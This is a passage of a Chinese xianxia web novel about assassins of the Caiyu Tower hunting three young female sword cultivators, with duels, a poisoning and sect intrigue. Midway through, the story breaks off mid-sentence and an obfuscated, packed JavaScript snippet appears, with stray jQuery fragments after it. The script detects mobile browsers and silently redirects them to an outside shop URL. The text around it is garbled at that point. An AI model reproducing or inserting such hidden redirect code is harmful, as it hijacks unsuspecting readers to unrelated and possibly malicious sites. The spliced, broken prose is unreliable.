血薇的毒剑虽被挡下,但唐婉肩头伤口已泛起诡异的黑气。沐雪长老当机立断,将一枚珍藏的“冰魄玉露”化入唐婉体内,暂缓毒性蔓延。“去玲珑阁。”白浅声音冰冷,“秦月娆有我要的东西。”三日后,白浅带回锁魂丹。丹药入喉,唐婉暂时脱离危险,但沐雪长老面色凝重:“这丹药只能压制三月。三月内若无解药,神仙难救。”白浅望向窗外阴沉的天空。三月,足够彩羽楼再杀她十次,也足够她杀上断魂崖。一间烛火摇曳的密室中,空气阴冷得仿佛凝固了千年寒冰。“啪”一只精美的羊脂玉杯被一只保养得宜、涂着鲜红蔻丹的手,重重摔碎在地,飞溅的碎片如同此刻密室中四溢的杀意。主座之上,女子并未显露全貌,只有那一双戴着镂空金手套的手,交叠置于案几之上。她的声音从面具后传出,冰冷得不带一丝人气:“陆青烟、唐婉、白浅!这三个剑宗内门弟子,短短时日竟已隐隐威胁到本座的计划!若再让她们这般成长下去,必坏大事!”下首,一名眉心点着朱砂痣、气息内敛如深潭的女子垂首问道,眼神却锐利如鹰:“尊使的意思是?”“紫嫣和梅影那两个‘魅级’的废物,上次在城外失手,不仅没杀了唐婉,反而惊动了白望春那女人,现在不便再明目张胆地动。”主座女子的声音更冷,透着一股残忍的快意,“我听闻,魍级的‘血薇’最近完成了北边的任务,回来了?”“回尊使,”朱砂痣女子恭敬回道,“血薇师姐三日前刚回楼中复命,修为已稳固在化境段下品,剑道更是狠辣,正可用。”“化境段,很好。”主座女子指尖轻轻敲击着案几,发出令人心悸的“笃笃”声,“让她去。一个月内,本座要见到她们三人的头颅,或者至少让其中一人彻底变成一个废人。”“不惜一切代价!”主座女子的声音陡然拔高,带着不容置疑的狠辣,“潜入、下毒、制造意外……办法多的是!‘彩羽楼’要杀的人,还没有能一直躲着的!去安排!”“属下明白!”朱砂痣女子躬身退下,身影悄然融入墙壁的阴影之中,仿佛从未出现过。巴山夜雨城,陆青烟暂居的静室。连日的激战与奔波,让她身心俱疲,但更让她警惕的是那如影随形的危机感。那只神秘的玄猫墨玉不知又从何处溜了回来,蹲在窗台上,金瞳在黑暗中幽幽发亮,审视着盘膝而坐的陆青烟。“小丫头,当真有趣。”墨玉传音道,带着一丝慵懒与好奇,“你才笃行段上品,《白帝清霜诀》竟已隐隐触摸到第二重‘冰肌玉骨’的门槛?你修炼的到底是什么品级的功法?”陆青烟并未睁眼,依旧平静地运转功法,将外界干扰隔绝:“我也不完全清楚。家传功法,名为《青雨惊鸿诀》,但似乎与我体质有特殊的共鸣,修炼出的地煞之气格外精纯凌厉。”她继承的雨韵剑宗核心功法确实特殊,加上她自身“雨灵剑体”的变异,使得她修炼速度一日千里。“据本座所知,至少是‘地阶上品’的功法,才有可能在笃行段就让你对剑意和地煞之气的掌控达到如此地步。”墨玉沉吟道,金瞳中闪过一丝精光,“但你的情况似乎更特殊,难道触及了‘天阶’的门槛?”它顿了顿,语气变得严肃:“小丫头,怀璧其罪,这道理你懂。今后务必小心,莫要轻易在人前展露全部实力和功法特异之处。”
陆青烟神色凝重地点头。她如今身陷巴山夜雨城与雨韵剑宗的漩涡,又有彩羽楼虎视眈眈,确实需万分谨慎。幸好,目前知晓她功法特殊、在剑池试炼中表现惊人的,只有姑姑陆徽。陆徽自然会为她保密。调息片刻,陆青烟取出一枚得自剑池试炼奖励的三品丹药“青霖润脉丹”,吞服下去。丹药化开,化为精纯温和的药力,滋养着她因连日苦战而有些损耗的经脉,并缓缓转化为地煞之气,汇入丹田。接下来的数日,陆青烟深居简出。她每日服用丹药辅助,刻苦修炼《青雨惊鸿诀》,同时不断回忆、揣摩与高手交战的每一个细节,剑意愈发凝练。空闲时,她也会练习刻画一些基础的剑纹,这是雨韵剑宗炼器、布阵的基础,对她理解剑道、温养本命剑器“惊鸿”亦有莫大益处。八天后,陆青烟将手头辅助修炼的丹药消耗大半,体内地煞之气比试炼结束时浑厚了数倍,精纯度也更上一层楼。她有信心,若再与水婆婆交手,虽仍可能不敌,但绝不会胜得那般艰难侥幸。
“是时候再去‘地煞灵泉’了。”陆青烟暗忖。
地煞灵泉位于巴山夜雨城核心区域的一处秘境,雾气氤氲,泉水呈暗青色,散发出精纯而温和的地煞气息。陆青烟浸泡在灵泉中,运转功法,贪婪地吸收着泉水中的能量。整整七天过去,她周身缭绕的淡淡青色光晕才渐渐内敛,肌肤仿佛被泉水洗涤过,更显莹润,体内经脉也拓宽坚韧了不少。“终于将丹药和灵泉之力初步融合吸收。”陆青烟感受着体内澎湃的力量,以及与手中本命宝剑“惊鸿”更紧密的联系。她站在灵泉能量最浓郁的区域,闭目凝神,脑海中浮现《青雨惊鸿诀》中关于冲击更高境界的秘要,以及“雨灵剑体”更深层次的奥义。“要在如液态血脉般的地煞之河中,开辟出代表‘心脉’的气态通道……”她心中灵光一闪,“这与灵泉能量渗透滋养肉身的原理,似乎有异曲同工之妙?”又过去数日,她于灵泉中静坐感悟,对“魂脉”的玄妙也有了一丝明悟。“魂脉”并非实体经脉,而是一种连接肉身与灵魂意识的特殊“祭祀之力”通道。这灵泉深处,似乎也蕴含着类似的一丝古老而纯净的意念。当她结束修炼,走出灵泉时,遇见了前来挑战切磋的长老水婆婆。水婆婆擅长一套“柔水绵掌”,掌力绵密悠长,防御惊人。“小丫头,小心了!”水婆婆话音未落,双掌已如波涛般推出,掌力层层叠叠,笼罩整个演武台。陆青烟不敢怠慢,将《青雨惊鸿诀》运转到极致,手中“惊鸿剑”化作一道青色惊虹,直刺掌力最薄弱之处。她没有选择硬拼,而是以点破面,以快打慢。数十招后,陆青烟抓住水婆婆掌力转换间一丝微不可查的滞涩,剑尖轻颤,三点寒星分袭上中下三路。水婆婆回防稍慢,被其中一道剑气点中肩头,虽未受伤,但护体地煞之气已被刺破。水婆婆后退一步,看着肩头破损的衣料,又看看气定神闲收剑而立的陆青烟,长叹一声:“后生可畏!老婆子我输了。陆家丫头,你很好,巴山夜雨城未来可期。”她主动认输,眼中并无芥蒂,反而满是赞赏。陆青烟谦逊行礼。她知道,水婆婆是留了手的,真正的生死搏杀远非如此。但此战也让她对自己的剑法更有信心。然而,真正的考验接踵而至。夺命剑客一位自称来自远方、面容冷峻、背负一柄无鞘铁剑的少女剑客,阿诗玛,指名挑战陆青烟。此人之前数战,皆是一剑败敌,狠辣果决,剑下几乎没有活口,被称为“夺命剑客”。观战者议论纷纷,不少人暗中下注。陆青烟的支持者虽多,但这阿诗玛神秘强大,鹿死谁手犹未可知。演武台上,两人相对而立。阿诗玛声音沙哑,如金石摩擦:“你的剑,很快。”陆青烟平静道:“你的剑,很绝。但你的剑法是在燃烧自己的生命本源吧?每出一剑,寿元便减一分。值得吗?”阿诗玛瞳孔微缩,这是她最大的秘密!她修炼的正是某种近乎失传的禁忌剑术“焚血剑诀”,威力奇大,但代价惨重。她看向台下某个角落,那里站着一个面容娇美、眼神却带着刻薄与期待的少女,这个女人名叫云为珊。“值不值得,与你无关。”阿诗玛压下心中波澜,铁剑缓缓抬起,一股惨烈决绝的剑意弥漫开来。陆青烟不再多言,拔剑出鞘。她能感觉到,对方剑法中那股玉石俱焚的决绝。这一战,无法留手。两道身影,如电光般交错!只有一声轻微到极致的金铁交鸣。旋即,两人背对而立。阿诗玛低头,看着自己胸前衣襟上迅速扩大的血花,脸上露出解脱与一丝不甘,轰然倒地。陆青烟颈侧,留下一道浅浅的血痕,只划破表皮。在最后关头,她强行偏转了剑锋,选择了击倒而非击杀。她终究不是嗜杀之人。“为何不杀我?”阿诗玛艰难问道。“我之剑,为护道,非为屠戮。”陆青烟收剑。天空不知何时阴云密布,惊雷炸响,瓢泼大雨倾盆而下。巴山夜雨城偏僻街道,陆青烟走出演武场,却在不远处雨幕中,只见那个叫云珊的少女,正指挥着几个家奴模样的壮妇,用棍棒疯狂殴打着瘫在泥水中的阿诗玛。“打!给我往死里打!没用的东西!连个陆青烟都杀不了,白费我那么多心思!”云珊站在伞下,容颜娇美,说出的话却冰冷恶毒。“哈哈,你的剑呢?起来啊!”家奴们肆意嘲笑着,棍棒如雨点般落下。阿诗玛浑身是血,双腿明显已断,躺在泥泞中,眼神空洞地望着云为珊的方向,最终缓缓闭上。“好像没气了?”一个家奴探了探鼻息。“废物就是废物,死了干净。”云珊啐了一口,转身登上一辆华丽的马车。
“珊妹,闹够了就回吧,为了个将死之人淋雨,不值当。”马车碾过积水,迅速离去。
陆青烟快步上前,不顾泥泞,探了探阿诗玛的鼻息和脉搏。“还有一丝微弱的生机。”她沉声道。“青烟,这人来历不明,又与云家那疯丫头有关,救她恐惹麻烦。”林汐担忧道。“见死不救,非我辈所为。”陆青烟取出一枚珍贵的三品疗伤丹药“青玉回春丹”,塞入阿诗玛口中,又运起一丝精纯的地煞之气护住其心脉,“林汐姐,麻烦你找人,先将他安置到安全的地方,尽力救治。”她看着雨中远去的马车,眼神冰冷。云珊,还有她背后可能存在的阴影彩羽楼?这巴山夜雨城的水,比她想象的更深,更浑。而此刻,在城中某个更隐秘的角落,那位接到命令的彩羽楼魍级杀手“血薇”,或许已经睁开了眼睛,如同潜伏的毒蛇,将目光锁定了刚刚崭露头角的陆青烟。秋池剑阁外围,返回天秀的僻静山道。“滴滴答答!”夜雨敲打着山道两旁的青石,四周雾气弥漫,行人绝迹。只有一辆由两匹踏云驹拉着的朴素马车,在雨幕中疾行。车厢内,唐婉正闭目调息,消化着白日里与沐雪长老遇袭一战的感悟,以及刚突破至笃行段中品的修为。突然,唐婉的眼皮微不可查地动了一下。她“听”到了。不是雨声,不是蹄声,而是一缕近乎融入夜风的、冰冷锐利的杀气!这杀气来自高处,且锁定的是她!“长老小心!”电光石火间,唐婉低喝一声,根本来不及解释,左手猛地抓住沐雪长老的手臂,右肩狠狠撞向一侧的车厢壁!她如今的力量非同小可,加上车厢并非全金属结构,“轰”的一声,木板碎裂,两人如同炮弹般从飞驰的马车侧面滚落出去,瞬间没入道旁茂密的灌木丛。就在两人滚出的刹那!一道青色的身影如鬼魅般自山道旁一株古松树冠上飘落,手中一道软鞭似的青光凌空劈下!“嗤啦!”青光过处,那辆坚实的马车如同纸糊般被从中一分为二!拉车的踏云驹惨嘶一声,连同驾车的天秀外宗侍女一同被凌厉的剑气斩断,鲜血混合着雨水,瞬间染红了路面。青色身影轻盈落地,立于道路中央。雨水打湿了她贴身的夜行衣,勾勒出惊心动魄的曲线,脸上蒙着青纱,只露出一双冰冷含煞的美眸。她盯着裂成两半的马车,眼中闪过一丝疑惑——空了?“什么人?竟敢在秋池剑阁地界行凶!”沐雪长老从灌木丛中站起,又惊又怒。若非唐婉反应快得不可思议,她二人此刻恐怕已凶多吉少。对方这一击,悄无声息,狠辣精准,绝对是专业杀手,而且修为至少是笃行段上品,甚至可能触摸到了化境段的门槛!唐婉也缓缓站起身,挡在沐雪长老身前稍侧的位置,目光平静地打量着青衣女子。对0方身上那股冰冷、漠然、仿佛视生命如草芥的气息,她并不陌生“彩羽楼魅级杀手紫薇、梅影?还是魍级杀手血薇?”她轻声问道,语气仿佛在确认一件寻常事。
青衣女子正是彩羽楼的魑魅魍魉中的北方之魍——血薇。她没有答话,回应唐婉的,是手中那柄宛如灵蛇的软剑!剑身一抖,雨水被剑气牵引,瞬间凝聚成数十枚细小的冰棱,如同暴雨梨花,铺天盖地罩向唐婉和沐雪长老。恒古神殿外围,试炼谷。白浅站在一处残破的石殿阴影中,身上贴着高阶敛息符,目光紧盯着远处天空中几道正急速降落的身影。那是刑律殿的巡查弟子,以及两个隶属不同派系、平日对银袍长老阁甜蜜阁主阳奉阴违的内宗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594666|205558||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
执事。他们显然是收到了某些“匿名”消息,前来这处早已废弃的旧谷“探查异动”。“墨玉,准备好了吗?”白浅在心中传音。蹲在她肩头、缩小了体型的玄猫墨玉,金瞳微闪:“小丫头,本皇办事你放心。已按你的要求布下剑阵,核心处留了一丝的封印气息,足以伪装成某种古老禁制被触发。不过你真不直接引爆?这几个家伙,阵法全力发动,够他们喝一壶的。”“现在引爆,最多伤他们几人,打草惊蛇。”白浅目光沉静,“我要借这个机会,让那些藏在暗处、觊觎‘古卷武魂’或是对甜蜜阁主不满的势力,暂时缩回爪子。”“你想虚张声势?”墨玉明白了。“嗯。”白浅点头,从怀中取出两枚玉符。一枚是她自己炼制的简化版虚境符,能短时间模拟出超越自身一两个大境界的威压;另一枚是得自某次任务的扩音符。“我们按计划行事。激发虚境符后,你我用扩音符向整个旧谷及周边区域传音。”凌霄,一位气质冷峻、剑眉星目的青年男弟子,他同样潜伏在附近,闻言郑重颔首:“明白。白师妹此计虽险,但若能成,可为我们争取更多调查和修炼的时间。”两人对视一眼,同时捏碎了手中的虚境符。“嗡!”一股浩瀚、古老、仿佛源自洪荒的恐怖威压,猛然以两人为中心爆发开来!这威压并非真实的力量,却带着直击灵魂的震慑感,仿佛有沉睡的巨兽在此地苏醒!紧接着,白浅清冷如冰泉、却又充满威严的女声,借助扩音符响彻旧谷乃至更外围区域:“恒古神殿诸弟子、执事听令:此旧试炼谷乃上古禁地,近日异动,非尔等可窥探!限三日之内,所有无关人等尽数撤离,不得再靠近窥视!”凌霄浑厚而充满杀意的男声紧随其后,滚滚如雷:“违令者,视同触犯禁地,格杀勿论!”化境段以上的虚假威能配合着这充满威胁的宣告,如同海潮般汹涌扩散。那些刚刚落地的刑律殿弟子和两位执事,首当其冲,只觉心头巨震,气血翻腾,仿佛被无形山岳压迫,几乎站立不稳,脸上瞬间血色尽褪。“是是守阁长老或某位隐世前辈?”“此地竟真有上古禁制?我们被利用了!”“快走!速速禀报!”十几息后,威压如潮水般退去,仿佛从未出现。但那充满警告的话语,却深深烙印在每个人心中。旧谷重归寂静,只有雨声淅沥。白浅和凌霄依旧潜伏在暗处,气息完美收敛。“他们信了吗?”凌霄传音问。“半信半疑。”白浅目光投向那些仓皇退走的身影,以及更远处几道若隐若现、此刻也迅速远去的气息,“但这就够了。至少几天内,这里会安静很多。而等他们确认那幻杀剑阵的威力后,疑心会变成忌惮。”她顿了顿,看向凌霄:“凌师兄,接下来的事就拜托你了。”白浅在玄黄斗殿激战后的第三日,依约来到了玲珑阁。一方面是秦雅(字月娆)之前的邀请让她难以推拒,另一方面,她也确实想购置一尊品质上乘的炼器炉,为日后炼制更复杂的空间宝物或特殊器物做准备。玲珑阁顶层,不同于下方的喧嚣,布置得极为雅致清幽,熏香袅袅。只见秦月娆今日换了一身水红色的长裙,妆容精致,斜倚在软榻上,更显风情万种。她亲自为白浅斟茶,笑意盈盈:“白师妹前日在玄黄斗殿的风采,可是传遍了内宗呢。越阶连胜,最后更是逼平了谢翩跹,真是让人叹为观止。姐姐我可是押了你不少贡献点,小赚了一笔呢。”白浅接过茶杯,微微欠身:“秦师姐过奖了,侥幸而已。师姐消息灵通,青浅佩服。”她态度礼貌,但带着一丝不易察觉的疏离。“妹妹何必自谦。”秦月娆美目流转,身子微微前倾,香气袭人,“以妹妹的天资,又有甜蜜阁主青眼,前途不可限量。只是木秀于林,风必摧之。妹妹如今风头正劲,可要当心些才是。”白浅心中一动,放下茶杯:“师姐此言何意?”秦月娆轻笑,手指绕着垂落的一缕发丝:“没什么,只是姐姐我在这坊市经营多年,见得多了些。有些人啊,自己上不了台面,就喜欢在台下使些绊子。”她这话说得含蓄,但白浅立刻听出了弦外之音——还有人开始深挖她“白浅”的过去,以及她修炼的《白帝清霜诀》和古卷武魂的来历?“多谢师姐提醒。”白浅神色不变,“清者自清。青浅行事,但求无愧于心。”“好一个但求无愧于心。”秦月娆拍手轻笑,眼中却闪过一丝意味深长,“妹妹心志坚定,是好事。不过,这世道,有时不是你不惹事,事就不来找你。”她说着,纤手一翻,掌心多了一个小巧的玉瓶和一枚看似普通的铜钱。“这瓶‘清心玉露’,对付一些下三滥的迷魂、惑心类手段颇有奇效。这枚‘子母传讯钱’,子钱你留着,若遇到什么‘不方便’向宗门求援的麻烦,捏碎它,只要在千里之内,姐姐我能感应到大致方位。”白浅看着秦月娆手中的东西,没有立刻去接。秦月娆的示好太过明显,也太过“周到”。她究竟是真的欣赏自己,还是另有所图?抑或是她代表的“玲珑阁”乃至其背后的势力,想在自己身上投资,或者,利用自己?“师姐好意,青浅心领。只是无功不受禄。”白浅婉拒。“哎,谈什么禄不禄的。”秦月娆直接将两样东西塞进白浅手里,指尖似有意无意划过她的掌心,带起一阵酥麻,“就当是姐姐庆贺妹妹登榜的贺礼。炼器炉已经给你备好了,是尊不错的‘八荒离火鼎’仿品,足够你用到三品炼器师的水准。账嘛就算在姐姐头上,等你以后成了炼器大师,再给姐姐炼制件好东西便是。”话说到这个份上,再推辞就显得矫情且可能得罪了。白浅只得收下,再次道谢,心中对秦月娆的警惕又提高了几分。这个女人,美貌、财富、手腕、情报能力无一不缺,她在恒古神殿内宗,究竟扮演着什么角色?她的“好意”,背后又连着哪一方的利益?离开玲珑阁时,白浅手中多了尊沉重的炼器炉,怀里则揣着那瓶玉露和那枚铜钱。雨已停歇,但天空依旧阴沉。她感觉,自己仿佛正走入一张由各种示好、试探、阴谋交织而成的无形之网。秦月娆是网上的一只蜘蛛,而她自己,似乎正成为某些人眼中值得关注、乃至值得“投资”或“操控”的猎物。暗流汹涌。风暴,正在这看似平静的表象下,疯狂酝酿。